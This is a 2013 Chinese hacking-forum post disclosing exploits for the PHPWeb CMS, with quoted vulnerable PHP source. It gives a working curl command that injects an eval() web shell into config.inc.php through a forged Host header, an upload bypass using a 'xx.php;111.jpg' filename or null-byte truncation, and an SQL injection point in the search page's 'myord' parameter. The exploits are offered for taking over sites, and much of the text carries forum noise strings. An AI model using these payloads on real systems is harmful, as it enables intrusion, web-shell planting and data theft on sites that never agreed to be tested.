找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2387|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:) u& ^/ ?! y7 }( L3 f# b6 w' T$ e

* k" h' f, U& }之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
3 F: ~" ^6 Q% [% I9 w
  C3 s4 y7 @4 \) s/ d& p% ^鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
9 M$ R+ @$ I3 ~# W" L( q7 a+ o鸡肋2: 有一定安全常识的站长都会删掉 install 目录
  D9 {! \1 z- d' F% d4 } " l: S% [$ y/ Q
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
: f& |% R- U* e
/ c) r8 N7 u( t) f/ Y9 Q分析:
+ w$ D! m8 s. _3 N2 C6 w6 d7 a
1 {; `  V; @0 R# K# j7 r" S
* w: a; U, k/ h, J( A, _$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
( J, o* `4 z8 h/ u2 J1 l( B0 N# h; q. f ' g, Z3 m7 z1 u
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
/ {( F- e: r' w% T                                            $filestr=str_replace(" ","",$filestr);
# i" y& R6 m0 k4 C                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);' c" ^( y' {& A3 C0 W- A2 B9 v
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);1 f3 P% o7 x4 W/ V  i0 ^6 h4 {3 F
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, R+ J; t4 j& i1 g8 t                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
( r$ j1 C' B! Z9 r' A' h& H& Y                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
3 D8 k" g% b. g! F0 X: ^                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 d5 Q' }) W9 d7 q                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
& `7 m# o& B' s; _7 B9 o+ Z - `; F/ T- y  q9 K0 y
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
  s/ {) w3 j+ s$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^/ Q, b* X* i! t9 E3 ~

9 P  v7 e5 ~* w1 {poc:
. e0 w# v: i4 F1 f. y
1 s4 u$ n% x2 g& b0 C8 V?6 n' \5 K/ B! F
18 m$ g1 C; q2 v& b" l, t# X
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"- e6 |3 m; t2 P0 j: d
shell地址: /config.inc.php3 @% l/ @0 E& F/ n: E/ F
跟之前的 phpcms一样 需要远程数据库
* l& f6 r9 f9 X5 f 2 U6 Y0 z* ~% y! f
——————————————————–' V( _1 {* g, g
上传漏洞(需要进后台):
: ?5 B0 D+ s2 ]$ W( D2 {9 x漏洞文件: /kedit/upload_cgi/upload.php
' D! g4 `% L/ z/ B1 p) X5 C这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
1 [5 S9 y5 }5 B
- R0 w# d& y! _6 a+ S, w3 G. v
% Z( \; B6 }6 t, e+ v, ^3 K2 S<?php
6 g9 U" P6 `3 W; l; |* q7 [) M- k    define("ROOTPATH", "../../");6 m+ w1 c8 P8 {7 \2 E0 D
    include(ROOTPATH."includes/admin.inc.php");3 R5 N: s1 `2 u5 [5 s
    NeedAuth(0);; k0 C& v0 L0 N2 H$ H5 m5 v; i
6 j+ Y+ {! x  {; q, E
    $dt=date("Ymd",time());
' P! X# F5 ?; N+ }    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){) x% }2 q8 n% J( s( C
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
) I/ i6 C: D& k- u: e$ P    }# Q4 J9 b- _. w# _0 v# ]

. E9 _' V' T4 a1 G    //文件保存目录路径
! m7 ]! A' I8 s9 h( G5 d    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
, `* v6 G% z) W2 [3 Z- c1 E. S* X    echo $save_path;: V0 z3 L' |& b5 Y, s4 y, d
    //文件保存目录URL
: Y! f: n4 S& G4 C- W    $save_url = '../../'.$_POST['attachPath'].$dt.'/';- {$ Q, G9 e1 W1 Z6 G) X

! d3 Z9 B6 X& E7 e* K) G9 Z    //定义允许上传的文件扩展名
, j9 }0 b$ z$ W! O    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀1 Z7 e+ _9 N4 q$ J$ q

* S' ~3 a3 N7 c3 s' G5 K' J  Y    //最大文件大小5 ], D2 N) B, e( S) f
    $max_size = 1000000;% y. j& Y* e& r9 j2 g$ W+ N4 u: t

- w( A( p$ h- R: J    //更改目录权限( z! |- S, h% g. w, m
    @mkdir($save_path, 0777);# v- r  n" k6 m, Q& n
. F( Q2 X. w1 ~
    //文件的全部路径
: ^) T% r! m' ]4 [1 r# ]9 F    $file_path = $save_path.$_POST['fileName'];   //保存文件名
6 Y' C0 a4 n3 [2 M, ?% A
2 V/ f- K  g# B, p4 S    //文件URL! U1 X% \; H. P% @1 ?0 G- ^3 w6 ^4 ]
    $file_url = $save_url.$_POST['fileName'];
( v: N0 T) x8 J4 q1 k# w' G* h//有上传文件时. ~+ a2 L$ q1 e$ ~
    if (empty($_FILES) === false) {0 j( A0 i  t& j0 m0 `, R8 t$ m8 p' S% A
0 D% M% M, \; w/ L3 \* k9 U
            //原文件名1 K" r# R; v* Q% C
            $file_name = $_FILES['fileData']['name'];; x" Y5 q9 \" Y. w9 ~! k* {7 h1 L
            //服务器上临时文件名1 o' e; I! ~2 |3 E) x3 {
            $tmp_name = $_FILES['fileData']['tmp_name'];& [6 Z, L; E7 k. ~0 k; }" O( d
            //文件大小( E5 g7 }( O, }# g' c, `8 Y
            $file_size = $_FILES['fileData']['size'];
+ h1 K# i* S& I            //检查目录  G) S8 A9 _) c1 s  x0 s
            if (@is_dir($save_path) === false) {7 j  B" Y7 U( [" m  P) c. {  D6 T
                    alert("上传目录不存在。");' d! T% i" ~# i# y& A5 z
            }
/ R0 Z2 J3 I' _- V6 H  {, [7 P7 p# P            //检查目录写权限
6 ~# F1 \. L8 O! }6 R5 b+ Y            if (@is_writable($save_path) === false) {
$ n- L* J+ Q  n, W2 g; l                    alert("上传目录没有写权限。");! }) }0 n$ S8 S; I1 W7 S
            }3 x, r. [0 A$ z- j2 T. f
            //检查是否已上传9 d) R6 T! o' }
            if (@is_uploaded_file($tmp_name) === false) {
& o" @4 U/ q. }# x; O/ A% m                    alert("临时文件可能不是上传文件。");) m9 g' \4 U/ f9 _- ]
            }
. z  e! }0 g0 B& o* ~' Q1 R6 X  f! f            //检查文件大小- T1 s, N4 A' i6 T9 M. u& Q3 \
            if ($file_size > $max_size) {
) j2 _: ]/ \8 ?( Y/ J- W$ i                    alert("上传文件大小超过限制。");' K" M: ?0 G/ t4 f$ W2 x! `' r
            }( T' S: O+ l# d# B! g5 Y1 }* A6 Q/ {4 x
            //获得文件扩展名2 u( d$ f) G; j3 M. l; D% d/ o
            $temp_arr = explode(".", $_POST['fileName']);- N1 U. ^8 g/ n4 r  ~( h
            $file_ext = array_pop($temp_arr);
( V9 ~0 \- Z7 x7 h$ d            $file_ext = trim($file_ext);
, G0 ^  A% ?- T- g5 [            $file_ext = strtolower($file_ext);
' I  g* \. {8 C, g5 q% A# S . T  x3 p% ?7 G5 v4 G* w1 F/ ~
            //检查扩展名   
# a3 |1 X% e$ E            if (in_array($file_ext, $ext_arr) === false) {     * b- H( ?; h$ J7 D0 ~
                    alert("上传文件扩展名是不允许的扩展名。");
8 {' W6 i1 @/ `$ s            }
! l8 H* f: f- K 0 j7 B- B1 R. `& ^% c
            //移动文件   
7 I8 w: G$ R2 u) q( Y6 G4 F            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^' s- x' r* W8 y' j3 ?4 @5 u! @
            if (move_uploaded_file($tmp_name, $file_path) === false) {# `1 J% C- R8 i1 K, A
                    alert("上传文件失败。");; R$ F! ~. B6 x' R4 R4 Z5 c! O, h
            }
$ K3 A! N' G3 m( r) d4 w7 v 8 D6 G+ e6 V, X0 a6 g/ r7 B
            @chmod($file_path,0666);2 Y' }0 a0 w( J  q

, q1 ]2 Y! [5 ?( k    ?>1 M: z8 C+ E* \. I/ D) e" \. b2 @- i
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 t: L) ]3 c4 U2 Z0 u# `7 U
1 K) H% Q9 r6 h4 G4 E* K1 C' E4 ^
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过3 c, ?' H8 R+ I- b* g0 e! d

3 I. S! ^* Y7 O——————————————————
& p# `$ E7 ]. i4 }5 j4 q' m注入漏洞:
0 b* B+ v( W- u9 M. I* ?& |) d+ Y$ F漏洞文件:search/module/search.php
: g! N' K# t; Q, K( B; W9 \% N/search/index.php?key=1&myord=1 [sqlinjection]- ?; Z$ m3 R$ c* k

5 C: \! A% M) L) _1 |' H 9 M: J; d) w6 |. Q3 r, j
<?php- [2 X: I' N9 `3 S" ^
   //       ... 省略 n 行...1 u& Y9 C  @' ]9 _6 s
   //第18行:
2 P5 h" g  z" v1 k& ^3 I" u           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响: h- |- W) s2 J, Q
           $page=htmlspecialchars($_GET["page"]);
$ G: W, v) T4 d2 |, d           $myord=htmlspecialchars($_GET["myord"]);( v/ O2 Z( p3 n3 `8 ]& }- q

# O/ y# K( p6 i) Z/ s   //       ... 省略 n 行...# t* P/ Q5 {8 P8 [$ ^6 w) u6 I
   $key,$myord 两个参数带入查询
+ `& v7 u& J7 s/ A+ A   //第47行 $key:
3 h; L$ U3 L# x# X1 O 5 Z* k$ [: H4 K. Q
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
% {7 G; d0 Y! y  g% s0 I  ?
. O+ I2 m! c7 w; J7 E0 `7 j2 v! `2 J   //第197行 $myord
- T( U! _; O: T9 y( D5 y8 ?   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
# n* |( ~# C+ N( t+ Z1 m
& b% H3 j% P" ~; p; d: z" [   ?>
$ S% C: g8 \) i6 {3 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表